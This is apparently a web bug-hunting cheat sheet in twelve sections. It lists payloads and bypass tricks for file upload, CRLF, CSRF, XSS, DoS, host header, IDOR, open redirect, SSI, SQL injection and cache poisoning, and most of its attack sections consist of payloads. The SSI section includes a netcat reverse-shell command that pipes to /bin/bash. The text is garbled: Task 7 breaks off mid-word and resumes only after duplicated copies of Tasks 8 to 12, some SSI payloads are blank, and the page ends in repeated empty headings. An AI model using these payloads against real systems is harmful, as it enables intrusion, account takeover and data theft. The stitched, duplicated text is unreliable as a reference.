SafeSecureAudit — Enterprise Security Testing

Task 1: Arbitrary File Upload

Introduction

An arbitrary file upload vulnerability is a type of security flaw that allows an attacker to upload malicious files onto a server.

Where to find

In upload file feature, for example upload photo profile feature

How to exploit

Change the Content-Type value

POST /images/upload/ HTTP/1.1
Host: target.com
...
---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
Content-Type: application/x-php

Change the Content-Type

POST /images/upload/ HTTP/1.1
Host: target.com
...
---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
Content-Type: image/jpeg

Using null byte in filename
```
file.php%00.gif
```
Using double extensions for the uploaded file
```
file.jpg.php
```
Uploading an unpopular php extensions (php4,php5,php6,phtml)
```
file.php5
```
Try to randomly capitalize the file extension
```
file.pHP5
```
```
Mix the tips!
```

Task 2: CRLF Injection

Introduction

A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.

Where to find

It can be found anywhere, always check the request and response. Try to search for parameters that lead to redirects, you can see the response is (301, 302, 303, 307, 308).

How to exploit

Basic payload

https://example.com/?lang=en%0D%0ALocation:%20https://evil.com/

The response is

HTTP/1.1 200 OK
              Content-Type: text/html
              Date: Mon, 09 May 2016 14:47:29 GMT
              Set-Cookie: language=en
              Location: https://evil.com/

Double encode

https://example.com/?lang=en%250D%250ALocation:%20https://evil.com/

Bypass unicode

https://example.com/?lang=en%E5%98%8A%E5%98%8DLocation:%20https://evil.com/

References

Task 3: Cross-Site Request Forgery (CSRF)

Introduction

Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated.

Where to find

Usually found in forms. Try submitting the form and check the HTTP request. If the HTTP request does not have a CSRF token then it is likely to be vulnerable to a CSRF attack.

How to exploit

HTML GET Method

<a href="http://www.example.com/api/setusername?username=uname">Click Me</a>

HTML POST Method

<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
            <input name="username" type="hidden" value="uname" />
            <input type="submit" value="Submit Request" />
            </form>

JSON GET Method

<script>
            var xhr = new XMLHttpRequest();
            xhr.open("GET", "http://www.example.com/api/currentuser");
            xhr.send();
            </script>

JSON POST Method

<script>
            var xhr = new XMLHttpRequest();
            xhr.open("POST", "http://www.example.com/api/setrole");
            xhr.withCredentials = true;
            xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
            xhr.send('{"role":"admin"}');
            </script>

Multipart request

<head>
            <title>Multipart CSRF PoC</title>
            </head>
            <body>
            <br>
            <hr>
            <h2>Click Submit request</h2><br>
            <script>
            function submitRequest()
            {
                var xhr = new XMLHttpRequest();
                xhr.open("POST", "https://example/api/users", true);
                xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
                xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
                xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------149631704917378");
                xhr.withCredentials = true;
                var body = "-----------------------------149631704917378\r\n" + 
                "Content-Disposition: form-data; name=\"action\"\r\n" + 
                  "\r\n" + 
                  "update\r\n" + 
                  "-----------------------------149631704917378\r\n" + 
                  "Content-Disposition: form-data; name=\"user_id\"\r\n" + 
                  "\r\n" + 
                  "1\r\n" + 
                  "-----------------------------149631704917378\r\n" + 
                  "Content-Disposition: form-data; name=\"uname\"\r\n" + 
                  "\r\n" + 
                  "daffainfo\r\n" + 
                  "-----------------------------149631704917378\r\n" + 
                  "Content-Disposition: form-data; name=\"first_name\"\r\n" + 
                  "\r\n" + 
                  "m\r\n" + 
                  "-----------------------------149631704917378\r\n" + 
                  "Content-Disposition: form-data; name=\"last_name\"\r\n" + 
                  "\r\n" + 
                  "daffa\r\n" + 
                  "-----------------------------149631704917378--\r\n";
                  var aBody = new Uint8Array(body.length);
                  for (var i = 0; aBody.length; i++)
                  aBody[i] = body.charCodeAt(i); 
                  xhr.send(new Blob([aBody]));
            }
            </script>
            <form action="#">
            <input type="button" value="Submit request" onclick="submitRequest();" />
            </form>
            <br>
            </body>

Bypass CSRF Token

In some cases, even though there is a CSRF token on the form, CSRF tokens can still be bypassed by doing a few things:

Change a single character

POST /register HTTP/1.1
            Host: target.com
            ...
            
            username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa

Try this to bypass

POST /register HTTP/1.1
            Host: target.com
            ...
            
            username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaab

Send an empty value for the token

POST /register HTTP/1.1
            Host: target.com
            ...
            
            username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa

Try this to bypass

POST /register HTTP/1.1
            Host: target.com
            ...
            
            username=dapos&password=123456&token=

Replace the token with one of the same length

POST /register HTTP/1.1
            Host: target.com
            ...
            
            username=dapos&password=123456&token=aaaaaa

Try this to bypass

POST /register HTTP/1.1
            Host: target.com
            ...
            
            username=dapos&password=123456&token=aaabaa

Change POST to GET method

POST /register HTTP/1.1
            Host: target.com
            ...
            
            username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa

Try this to bypass

GET /register?username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa HTTP/1.1
            Host: target.com
            ...

Remove the token from the request

POST /register HTTP/1.1
            Host: target.com
            ...
            
            username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa

Try this to bypass

POST /register HTTP/1.1
            Host: target.com
            ...
            
            username=dapos&password=123456

Use another user's valid token

POST /register HTTP/1.1
            Host: target.com
            ...
            
            username=dapos&password=123456&token=ANOTHER_VALID_TOKEN

Try to decrypt the token

POST /register HTTP/1.1
            Host: target.com
            ...
            
            username=dapos&password=123456&token=MTIzNDU2

MTIzNDU2 => 123456 (base64 encoded)

Sometimes the anti-CSRF token is composed of two parts, one of which remains static while the other is dynamic.

POST /register HTTP/1.1
            Host: target.com
            ...
            
            username=dapos&password=123456&token=vi802jg9f8akd9j123

When we register again, the request looks like this:

POST /register HTTP/1.1
            Host: target.com
            ...
            
            username=dapos&password=123456&token=vi802jg9f8akd9j124

If you notice "vi802jg9f8akd9j" part of the token remains the same, you just need to send only the static part.

Task 4: Cross-Site Scripting (XSS)

Introduction

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into websites. There are 3 types of XSS attacks:

Reflected XSS: Attack where the malicious script runs from another website through the web browser
Stored XSS: Stored attacks are those where the injected script is permanently stored on the target servers
DOM-Based XSS: A type of XSS that has payloads found in the DOM rather than within the HTML code

Where to find

This vulnerability can appear in all features of the application. If you want to find DOM-based XSS, you can find it by reading the JavaScript source code.

How to exploit

Basic payload

<script>alert(1)</script>
          <svg/onload=alert(1)>
          <img src=x onerror=alert(1)>

Add ' or " to escape the payload from value of an HTML tag

"><script>alert(1)</script>
          '><script>alert(1)</script>

Add --> to escape the payload if input lands in HTML comments.
```
--><script>alert(1)</script>
```
Add </tag> when the input is inside or between opening/closing tags. The tag can be <a>, <title>, <script>, and any other HTML tags.
```
</tag><script>alert(1)</script>
          "></tag><script>alert(1)</script>
```
Use when input is inside an attribute’s value of an HTML tag but > is filtered.
```
" onmouseover=alert(1)
          " autofocus onfocus=alert(1)
```
Use </script> when input is inside <script> tags.
```
</script><script>alert(1)</script>
```

XSS Cheat Sheet (Advanced)

For more advanced XSS techniques, please refer to the provided references.

XSS Cheat Sheet (Bypass)

For bypass techniques, please refer to the provided references.

References

Brute Logic
Awesome-WAF
Some random Twitter posts

Task 5: Denial of Service (DoS)

Introduction

Denial of Service is a type of attack on a service that disrupts its normal function and prevents other users from accessing it.

Where to find

This vulnerability can appear in all features of the application. Depending on how to exploit it, for example in the file upload feature, you can upload very large files.

How to exploit

Cookie bomb
```
https://target.com/index.php?param1=xxxxxxxxxxxxxx
```
After inputting "xxxxxxxxxxxxxx" as a value of param1, check your cookies. If there are cookies with the value "xxxxxxxxxxxxxxxxxxxxxx", it means the website is vulnerable.

Try inputting a very long payload into a form.

POST /register HTTP/1.1
        Host: target.com
        ...
        
        username=victim&password=aaaaaaaaaaaaaaa

Pixel flood, using an image with huge pixels
Frame flood, using a GIF with many frames
Sometimes on websites, we find a parameter that can adjust the size of the image
```
https://target.com/img/vulnerable.jpg?width=500&height=500
```
Try changing "500" to "99999999999"
```
https://target.com/img/vulnerable.jpg?width=99999999999&height=99999999999
```
Try changing the value of the header with something new
```
Accept-Encoding: gzip, gzip, deflate, br, br
```
Sometimes if you try "No rate limit" bugs, after many attempts, the server will go down because there are too many requests
ReDoS (Regex DoS) occurs due to poorly implemented RegEx
CPDoS (Cache Poisoned Denial of Service)
- HTTP Header Oversize (HHO)
- HTTP Meta Character (HMC)
- HTTP Method Override (HMO)
- X-Forwarded-Port
- X-Forwarded-Host
For more details, refer to: CPDoS

References

Task 6: Source Code Disclosure

Introduction

Source code intended to be kept server-side can sometimes end up being disclosed to users. Such code may contain sensitive information such as database passwords and secret keys, which may help malicious users formulate attacks against the application.

How to exploit

Exposed Git folder
```
https://site.com/.git
```
Tools to dump .git: git-dumper
Exposed Subversion folder
```
https://site.com/.svn
```
Tools to dump .svn: svn-extractor
Exposed Mercurial folder
```
https://site.com/.hg
```
Tools to dump .hg: hg-dumper
Exposed Bazaar folder
```
http://target.com/.bzr
```
Tools to dump .bzr: bzr_dumper
Exposed Darcs folder
```
http://target.com/_darcs
```
Tools to dump _darcs (Not found)
Exposed Bitkeeper folder
```
http://target.com/Bitkeeper
```
Tools to dump BitKeeper (Not found)

Reference

NakanoSec (my own post)

Task 7: HTTP Host Header Attacks

Introduction

HTTP Host header attacks exploit vulnerable websites that handle the value of the Host header in an unsafe way. If the server implicitly trusts the Host header, and fails to validate or escape it properly, an attacker may be able to use this input to inject harmful payloads that manipulate server-side behavior. Attacks that involve injecting a payload directly into the Host header are often known as "Host header injection" attacks.

How to exploit

Change the host header

GET /index.php HTTP/1.1
    Host: evil-website.com
    ...

Duplicating the host header

GET /index.php HTTP/1.1
    Host: vulnerable-website.com
    Host: evil-website.com
    ...

Add line wrapping

GET /index.php HTTP/1.1
    Host: vulnerable-website.com
    Host: evil-website.com
    ...

Add host override headers

X-Forwarded-For: evil-website.com
    X-Forwarded-Host: evil-website.com
    X-Client-IP: evil-website.com
    X-Remote-IP: evil-website.com
    X-Remote-Addr: evil-website.com
    X-Host: evil-website.com

How to use? In this case, I'm using "X-Forwarded-For: evil.com"

GET /index.php HTTP/1.1
    Host: vulnerable-website.com
    X-Forwarded-For: evil-website.com
    ...

Supply an abs
Task 8: Introduction to IDOR
Introduction

IDOR stands for Insecure Direct Object Reference is a security vulnerability in which a user is able to access and make changes to data of any other user present in the system.

Where to find
- Usually it can be found in APIs.
- Check the HTTP request that contain unique ID, for example user_id or id
How to exploit
1. Add parameters onto the endpoints for example, if there was
```
GET /api/v1/getuser HTTP/1.1
Host: example.com
...
```
```
GET /api/v1/getuser?id=1234 HTTP/1.1
Host: example.com
...
```
2. HTTP Parameter pollution
```
POST /api/get_profile HTTP/1.1
Host: example.com
...
user_id=hacker_id&user_id=victim_id
```
3. Add .json to the endpoint
```
GET /v2/GetData/1234 HTTP/1.1
Host: example.com
...
```
```
GET /v2/GetData/1234.json HTTP/1.1
Host: example.com
...
```
4. Test on outdated API Versions
5. Wrap the ID with an array.
6. Wrap the ID with a JSON object
7. JSON Parameter Pollution
8. Try decode the ID, if the ID encoded using md5,base64,etc
9. If the website using GraphQL, try to find IDOR using GraphQL
10. MFLAC (Missing Function Level Access Control)
11. Try to swap uuid with number
12. Change HTTP Method
13. Path traversal
14. Change request Content-Type
15. Send wildcard instead of ID
16. Try google dorking to find new endpoint
References
- @swaysThinking and other medium writeup
Task 9: Introduction to Open Redirection Vulnerabilities
Introduction

Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain.

Where to find
- Sometimes it can be found in login / register / logout pages
- Checking the JavaScript source code
How to exploit
1. Try change the domain
```
/?redir=evil.com
```
2. Using a whitelisted domain or keyword
```
/?redir=target.com.evil.com
```
3. Using // to bypass http blacklisted keyword
```
/?redir=//evil.com
```
4. Using https: to bypass // blacklisted keyword
```
/?redir=https:evil.com
```
5. Using \\ to bypass // blacklisted keyword
```
/?redir=\\evil.com
```
6. Using \/\/ to bypass // blacklisted keyword
```
/?redir=\/\/evil.com/
```
```
/?redir=/\/evil.com/
```
7. Using %E3%80%82 to bypass . blacklisted character
```
/?redir=evil。com
```
```
/?redir=evil%E3%80%82com
```
8. Using null byte %00 to bypass blacklist filter
```
/?redir=//evil%00.com
```
9. Using parameter pollution
```
/?next=target.com&next=evil.com
```
10. Using @ or %40 character, browser will redirect to anything after the @
```
/?redir=target.com@evil.com
```
```
/?redir=target.com%40evil.com
```
11. Creating folder as their domain
```
http://www.yoursite.com/http://www.theirsite.com/
```
```
http://www.yoursite.com/folder/www.folder.com
```
12. Using ? character, browser will translate it to /?
```
/?redir=target.com?evil.com
```
13. Bypass the filter if it only checks for domain name using %23
```
/?redir=target.com%23evil.com
```
14. Host/Split Unicode Normalization
```
https://evil.c℀.example.com
```
15. Using parsing
```
http://ⓔⓥⓘⓛ.ⓒⓞⓜ
```
16. Using ° symbol to bypass
```
/?redir=target.com/°evil.com
```
17. Bypass the filter if it only allows you to control the path using a nullbyte %0d or %0a
```
/?redir=/%0d/evil.com
```
References
- Hackerone #1250758
- @ahmadbrainworks article
Task 10: Introduction to SSI (Server Side Includes) Injection
Introduction

SSI (Server Side Includes) Injection is a type of web security vulnerability that occurs when a web application allows untrusted user-supplied data to be used as part of a Server Side Include (SSI) directive.

Where to find

Usually it can be found anywhere. Just try to input the payload in the form or GET parameter.

How to exploit
1. Print a date
  
  
2. Print all the variables
  
  
3. Include a file
  
  
4. Doing a reverse shell
  
  
References
- OWASP
Task 11: Introduction to SQL Injection (Advanced)
Introduction

SQL Injection (SQLi) is a severe web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It occurs when user-supplied input is incorrectly filtered for string literal escape characters embedded in SQL statements. This allows attackers to manipulate the application's SQL query to execute arbitrary SQL code, thereby gaining unauthorized access to the database.

Types of SQL Injection
- In-band SQLi (Classic SQLi): This is the most common type of SQLi, where the attacker uses the same channel to launch the attack and gather results.
- Error-based SQLi: Attackers provoke error messages from the database to gather information about its structure and data.
- Union-based SQLi: Attackers leverage the UNION SQL operator to combine the results of two SELECT statements, allowing them to retrieve data from other tables.
- Inferential SQLi (Blind SQLi): The attacker can deduce whether the payload executed had an effect on the database without directly querying the database.
- Boolean-based (content-based) Blind SQLi: The application behaves differently depending on whether the SQL query returns true or false. The attacker exploits this behavior to infer information about the database.
- Time-based Blind SQLi: The attacker infers information by measuring the time taken by the application to respond to specific SQL queries.
- Out-of-band SQLi: Attackers use alternate channels to exfiltrate data from the database when standard SQL injection techniques are not applicable.
Where to find

SQL Injection vulnerabilities can exist in any part of the application where user-supplied data is used to construct SQL queries. This includes login forms, search fields, product listings, and any other input field that interacts with a database.

How to exploit

GET Parameters

Error-Based SQLi

Error-based SQLi leverages error messages returned by the database to gather information. For example, appending a single quote ' to a parameter value may trigger a syntax error if the application does not properly handle it.
```
http://vulnerable-website.com/products?id=5'
```
Union-Based SQLi

Union-based SQLi involves injecting a UNION SELECT statement to combine results from different tables. This technique allows attackers to retrieve data from tables they would not normally have access to.
```
http://vulnerable-website.com/products?id=-1 UNION SELECT 1,2,3
```
Blind SQL Injection

Blind SQL Injection techniques exploit the application's behavior rather than directly returning data from the database. Attackers may use boolean-based or time-based techniques to infer information about the database.
```
http://vulnerable-website.com/products?id=5 AND 1=1 --
```
```
http://vulnerable-website.com/products?id=5 AND SLEEP(5) --
```
Prevention

To prevent SQL Injection, developers should use parameterized queries or prepared statements with bound parameters. Additionally, input validation and proper escaping of user-supplied data are crucial to mitigate this vulnerability.

References
Task 12: Introduction to Web Cache Poisoning (Advanced)
Introduction

Web cache poisoning is a sophisticated attack aimed at manipulating caching mechanisms to serve malicious content to unsuspecting users. The attacker's goal is to inject harmful data into a web cache, which, when served to other users, can lead to various security breaches, such as cross-site scripting (XSS), remote code execution (RCE), or information disclosure.

How to exploit

Basic Poisoning

In basic poisoning, the attacker manipulates the HTTP request headers to insert malicious content into the cache. This content is then served to subsequent users, causing them to execute the injected payload.
```
GET / HTTP/1.1
Host: www.vuln.com
X-Forwarded-Host: evil.com
```
The response is:
```
HTTP/1.1 200 OK
Cache-Control: public, no-cache
…
<img href="https://evil.com/a.png" />
```
Selective Poisoning

In selective poisoning, the attacker crafts a more sophisticated payload that targets specific components of the response, such as headers or HTML tags. This allows the attacker to bypass certain security measures and execute the payload in a more discreet manner.
```
GET / HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 ( Firefox/60.0)
X-Forwarded-Host: a"><iframe onload=alert(1)>
```
The response is:
```
HTTP/1.1 200 OK
X-Served-By: cache-lhr6335-LHR
Vary: User-Agent, Accept-Encoding
…
<link rel="canonical" href="https://a">a<iframe onload=alert(1)>
```
Prevention

To prevent web cache poisoning, web developers and administrators should implement strict input validation, sanitize user-supplied data, and configure caching mechanisms to behave securely. Additionally, regularly auditing and monitoring web cache behavior can help detect and mitigate potential poisoning attempts.

References
olute URL
```
GET https://vulnerable-website.com/ HTTP/1.1
    Host: evil-website.com
    ...
```

References

PortSwigger

Task 8: Introduction to IDOR

Introduction

IDOR stands for Insecure Direct Object Reference is a security vulnerability in which a user is able to access and make changes to data of any other user present in the system.

Where to find

Usually it can be found in APIs.
Check the HTTP request that contain unique ID, for example user_id or id

How to exploit

Add parameters onto the endpoints for example, if there was

GET /api/v1/getuser HTTP/1.1
Host: example.com
...

GET /api/v1/getuser?id=1234 HTTP/1.1
Host: example.com
...

HTTP Parameter pollution

POST /api/get_profile HTTP/1.1
Host: example.com
...
user_id=hacker_id&user_id=victim_id

Add .json to the endpoint

GET /v2/GetData/1234 HTTP/1.1
Host: example.com
...

GET /v2/GetData/1234.json HTTP/1.1
Host: example.com
...

Test on outdated API Versions
Wrap the ID with an array.
Wrap the ID with a JSON object
JSON Parameter Pollution
Try decode the ID, if the ID encoded using md5,base64,etc
If the website using GraphQL, try to find IDOR using GraphQL
MFLAC (Missing Function Level Access Control)
Try to swap uuid with number
Change HTTP Method
Path traversal
Change request Content-Type
Send wildcard instead of ID
Try google dorking to find new endpoint

References

@swaysThinking and other medium writeup

Task 9: Introduction to Open Redirection Vulnerabilities

Introduction

Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain.

Where to find

Sometimes it can be found in login / register / logout pages
Checking the JavaScript source code

How to exploit

Try change the domain
```
/?redir=evil.com
```
Using a whitelisted domain or keyword
```
/?redir=target.com.evil.com
```
Using // to bypass http blacklisted keyword
```
/?redir=//evil.com
```
Using https: to bypass // blacklisted keyword
```
/?redir=https:evil.com
```
Using \\ to bypass // blacklisted keyword
```
/?redir=\\evil.com
```

Using \/\/ to bypass // blacklisted keyword

/?redir=\/\/evil.com/

/?redir=/\/evil.com/

Using %E3%80%82 to bypass . blacklisted character
```
/?redir=evil。com
```
```
/?redir=evil%E3%80%82com
```
Using null byte %00 to bypass blacklist filter
```
/?redir=//evil%00.com
```
Using parameter pollution
```
/?next=target.com&next=evil.com
```
Using @ or %40 character, browser will redirect to anything after the @
```
/?redir=target.com@evil.com
```
```
/?redir=target.com%40evil.com
```

Creating folder as their domain

http://www.yoursite.com/http://www.theirsite.com/

http://www.yoursite.com/folder/www.folder.com

Using ? character, browser will translate it to /?
```
/?redir=target.com?evil.com
```
Bypass the filter if it only checks for domain name using %23
```
/?redir=target.com%23evil.com
```
Host/Split Unicode Normalization
```
https://evil.c℀.example.com
```
Using ° symbol to bypass
```
/?redir=target.com/°evil.com
```
Bypass the filter if it only allows you to control the path using a nullbyte %0d or %0a
```
/?redir=/%0d/evil.com
```

References

Task 10: Introduction to SSI (Server Side Includes) Injection

Introduction

SSI (Server Side Includes) Injection is a type of web security vulnerability that occurs when a web application allows untrusted user-supplied data to be used as part of a Server Side Include (SSI) directive.

Where to find

Usually it can be found anywhere. Just try to input the payload in the form or GET parameter.

How to exploit

Print a date
```

```
Print all the variables
```

```

Include a file

<!--#include file="includefile.html" -->

Doing a reverse shell

<!--#exec cmd="mkfifo /tmp/foo;nc IP PORT 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

References

OWASP

Task 11: Introduction to SQL Injection (Advanced)

Introduction

SQL Injection (SQLi) is a severe web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It occurs when user-supplied input is incorrectly filtered for string literal escape characters embedded in SQL statements. This allows attackers to manipulate the application's SQL query to execute arbitrary SQL code, thereby gaining unauthorized access to the database.

Types of SQL Injection

In-band SQLi (Classic SQLi): This is the most common type of SQLi, where the attacker uses the same channel to launch the attack and gather results.
Error-based SQLi: Attackers provoke error messages from the database to gather information about its structure and data.
Union-based SQLi: Attackers leverage the UNION SQL operator to combine the results of two SELECT statements, allowing them to retrieve data from other tables.
Inferential SQLi (Blind SQLi): The attacker can deduce whether the payload executed had an effect on the database without directly querying the database.
Boolean-based (content-based) Blind SQLi: The application behaves differently depending on whether the SQL query returns true or false. The attacker exploits this behavior to infer information about the database.
Time-based Blind SQLi: The attacker infers information by measuring the time taken by the application to respond to specific SQL queries.
Out-of-band SQLi: Attackers use alternate channels to exfiltrate data from the database when standard SQL injection techniques are not applicable.

Where to find

SQL Injection vulnerabilities can exist in any part of the application where user-supplied data is used to construct SQL queries. This includes login forms, search fields, product listings, and any other input field that interacts with a database.

How to exploit

GET Parameters

Error-Based SQLi

Error-based SQLi leverages error messages returned by the database to gather information. For example, appending a single quote ' to a parameter value may trigger a syntax error if the application does not properly handle it.

http://vulnerable-website.com/products?id=5'

Union-Based SQLi

Union-based SQLi involves injecting a UNION SELECT statement to combine results from different tables. This technique allows attackers to retrieve data from tables they would not normally have access to.

http://vulnerable-website.com/products?id=-1 UNION SELECT 1,2,3

Blind SQL Injection

Blind SQL Injection techniques exploit the application's behavior rather than directly returning data from the database. Attackers may use boolean-based or time-based techniques to infer information about the database.

http://vulnerable-website.com/products?id=5 AND 1=1 --

http://vulnerable-website.com/products?id=5 AND SLEEP(5) --

Prevention

To prevent SQL Injection, developers should use parameterized queries or prepared statements with bound parameters. Additionally, input validation and proper escaping of user-supplied data are crucial to mitigate this vulnerability.

References

Task 12: Introduction to Web Cache Poisoning (Advanced)

Introduction

Web cache poisoning is a sophisticated attack aimed at manipulating caching mechanisms to serve malicious content to unsuspecting users. The attacker's goal is to inject harmful data into a web cache, which, when served to other users, can lead to various security breaches, such as cross-site scripting (XSS), remote code execution (RCE), or information disclosure.

How to exploit

Basic Poisoning

In basic poisoning, the attacker manipulates the HTTP request headers to insert malicious content into the cache. This content is then served to subsequent users, causing them to execute the injected payload.

GET / HTTP/1.1
Host: www.vuln.com
X-Forwarded-Host: evil.com

The response is:

HTTP/1.1 200 OK
Cache-Control: public, no-cache
…
<img href="https://evil.com/a.png" />

Selective Poisoning

In selective poisoning, the attacker crafts a more sophisticated payload that targets specific components of the response, such as headers or HTML tags. This allows the attacker to bypass certain security measures and execute the payload in a more discreet manner.

GET / HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 ( Firefox/60.0)
X-Forwarded-Host: a"><iframe onload=alert(1)>

The response is:

HTTP/1.1 200 OK
X-Served-By: cache-lhr6335-LHR
Vary: User-Agent, Accept-Encoding
…
<link rel="canonical" href="https://a">a<iframe onload=alert(1)>

Prevention

To prevent web cache poisoning, web developers and administrators should implement strict input validation, sanitize user-supplied data, and configure caching mechanisms to behave securely. Additionally, regularly auditing and monitoring web cache behavior can help detect and mitigate potential poisoning attempts.

All about bug hunting

Introduction

Where to find

How to exploit

Introduction

Where to find

How to exploit

References

Introduction

Where to find

How to exploit

Bypass CSRF Token

Introduction

Where to find

How to exploit

XSS Cheat Sheet (Advanced)

XSS Cheat Sheet (Bypass)

References

Introduction

Where to find

How to exploit

References

Introduction

How to exploit

Reference

Introduction

How to exploit

Introduction

Where to find

How to exploit

References

Introduction

Where to find

How to exploit

References

Introduction

Where to find

How to exploit

References

Introduction

Types of SQL Injection

Where to find

How to exploit

GET Parameters

Error-Based SQLi

Union-Based SQLi

Blind SQL Injection

Prevention

References

Introduction

How to exploit

Basic Poisoning

Selective Poisoning

Prevention

References

References

Introduction

Where to find

How to exploit

References

Introduction

Where to find

How to exploit

References

Introduction

Where to find

How to exploit

References

Introduction

Types of SQL Injection

Where to find

How to exploit

GET Parameters

Error-Based SQLi

Union-Based SQLi

Blind SQL Injection

Prevention

References

Introduction

How to exploit